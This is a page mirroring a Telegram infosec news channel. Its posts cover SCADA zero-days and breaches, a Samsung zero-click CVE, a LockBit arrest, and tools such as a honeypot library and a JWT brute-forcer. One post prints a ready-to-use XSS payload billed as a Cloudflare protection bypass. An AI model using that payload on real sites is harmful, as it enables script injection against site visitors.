TGViewer
Channel Public Channel
cKure Red

cKure Red

@ckured

The director's cut on critical feeds from InfoSec world ๐ŸŒŽ

Main Channel: @cKure

โ˜•๏ธ or queries email us
๐Ÿ“จ i@ckure.org
Open in Telegram
Subscribers
2.78K
Photos
73
Videos
69
Links
480

Showing posts older than #562 ยท Back to latest

Older Posts 20 shown
Post #557
cKure Red pinned ยซ๐Ÿ˜’ Two zero-day vulnerabilities exist in the latest version of Thingworx ICS-SCADA Web based software platform for IoT devices as a CMS. Researcher: M-Shameemยป
Post #556 1.98K
๐Ÿ˜’ Two zero-day vulnerabilities exist in the latest version of Thingworx ICS-SCADA Web based software platform for IoT devices as a CMS.

Researcher: M-Shameem
Post #555 2.31K
Alleged Cloudflare XSS protection bypass: โš”๏ธ


"><Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBYU1MgQG1fa2VsZXBjZQ=="))>

๐• | 0x0SojalSec
  • ๐Ÿค” 2
Post #554 2.88K
๐Ÿ’€ Iran ๐Ÿ‡ฎ๐Ÿ‡ท based hacker group successfully compromised SCADA systems in Israel ๐Ÿ‡ฎ๐Ÿ‡ฑ amid a prolific Cyber-Attack. The group (Handala Hack) shared this video, showing the desperation of the operator who could not get his systems working.

The CCTV footage and other documents were also exfilterated during the Cyber-Attack.

Victim organisation: Tosaf, Israel
  • ๐Ÿ”ฅ 7
  • โค 1
  • ๐Ÿ‘ 1
  • ๐Ÿ˜ 1
Post #553 2.08K
๐Ÿ‡ต๐Ÿ‡ธWiz Research Uncovers Exposed DeepSeek Database Leaking Sensitive Information, Including Chat History.

https://www.wiz.io/blog/wiz-research-uncovers-exposed-deepseek-database-leak
wiz.io Wiz Research Uncovers Exposed DeepSeek Database Leaking Sensitive Information, Including Chat History | Wiz Blog A publicly accessible database belonging to DeepSeek allowed full control over database operations, including the ability to access internal data. The exposure includes over a million lines of log streams with highly sensitive information.
  • ๐Ÿ”ฅ 2
  • ๐Ÿฅฑ 1
Post #551 1.96K
๐Ÿ“ฑ Scam by Apple as it created a plain-text protocol and said it protects user privacy.
  • ๐Ÿ”ฅ 2
  • ๐Ÿ‘ 1
  • ๐Ÿค” 1
  • ๐Ÿคฃ 1
Post #550 2.35K
๐Ÿ”ผ baitroute: A web honeypot library to create vulnerable-looking endpoints to detect and mislead attackers.

https://github.com/utkusen/baitroute

https://utkusen.substack.com/p/how-to-create-vulnerable-looking
GitHub GitHub - utkusen/baitroute: A web honeypot library to create vulnerable-looking endpoints to detect and mislead attackers A web honeypot library to create vulnerable-looking endpoints to detect and mislead attackers - utkusen/baitroute
  • ๐Ÿ”ฅ 3
Post #549 2.03K
๐Ÿค Google Project Zero researcher uncovers Zero-Click Zero-Day exploit targeting Samsung devices.

CVE-2024-49415: Security flaw impacting Monkey's Audio (APE) decoder on Samsung smartphones that could lead to code execution.

Out-of-bounds write in libsaped.so prior to SMR Dec-2024 Release 1 allows remote attackers to execute arbitrary code.

https://security.samsungmobile.com/securityUpdate.smsb


The function saped_rec in libsaped.so writes to a dmabuf allocated by the C2 media service, which always appears to have size 0x120000.

https://project-zero.issues.chromium.org/issues/368695689


https://thehackernews.com/2025/01/google-project-zero-researcher-uncovers.html
  • ๐Ÿ”ฅ 2
  • ๐Ÿ˜ 2
Post #548
cKure Red pinned ยซ๐Ÿ†• JWT Breaker: A web based client-side JSON Web Token brute-forcing utility. https://ckure.esy.es/rx/tools/jwt/ To generate tokens, use: https://ckure.esy.es/rx/tools/jwt/gen.phpยป
Post #547 2.12K
cKure Red ๐Ÿ†• EXIF Stripper: A web based image-metadata remover utility. https://ckure.esy.es/rx/tools/exif/ *Images are uploaded on a shared hosting server. This may be concerning even though there is a script that removes the pictures from server after regular intervals.โ€ฆ
๐Ÿ†• JWT Breaker: A web based client-side JSON Web Token brute-forcing utility.

https://ckure.esy.es/rx/tools/jwt/

To generate tokens, use: https://ckure.esy.es/rx/tools/jwt/gen.php
  • ๐Ÿ”ฅ 2
Post #546 2.05K
๐Ÿ”  Researcher Turns Insecure License Plate Cameras Into Open Source Surveillance Tool.

https://www.404media.co/researcher-turns-insecure-license-plate-cameras-into-open-source-surveillance-tool

https://youtu.be/0dUnY1641WM
404 Media Researcher Turns Insecure License Plate Cameras Into Open Source Surveillance Tool Privacy advocate draws attention to the fact that hundreds of police surveillance cameras are streaming directly to the open internet.
  • ๐Ÿ”ฅ 2
  • ๐Ÿคฎ 1
Post #545 2.02K
๐Ÿ†• EXIF Stripper: A web based image-metadata remover utility.

https://ckure.esy.es/rx/tools/exif/

*Images are uploaded on a shared hosting server. This may be concerning even though there is a script that removes the pictures from server after regular intervals.
Other Web Utilities: ckure.esy.es/rx
  • ๐Ÿคฃ 1
Post #536 2.57K
๐Ÿฆ  LockBit Ransomware Developer Arrested in Israel.

Dual ๐Ÿ‡ท๐Ÿ‡บ Russian-Israeli ๐Ÿ‡ฎ๐Ÿ‡ฑ national Rostislav Panev was arrested last August and is facing extradition to the US for playing a critical role in LockBit's RaaS activities, dating back to the ransomware gang's origins.

https://www.darkreading.com/cyberattacks-data-breaches/lockbit-ransomware-developer-arrested-israel.
Dark Reading LockBit Ransomware Developer Arrested in Israel Dual Russian-Israeli national Rostislav Panev was arrested last August and is facing extradition to the US for playing a critical role in LockBit's RaaS activities, dating back to the ransomware gang's origins.
  • ๐Ÿ•Š 3
  • ๐Ÿ”ฅ 1
Older posts โ†’
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook โ†’Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 โ†’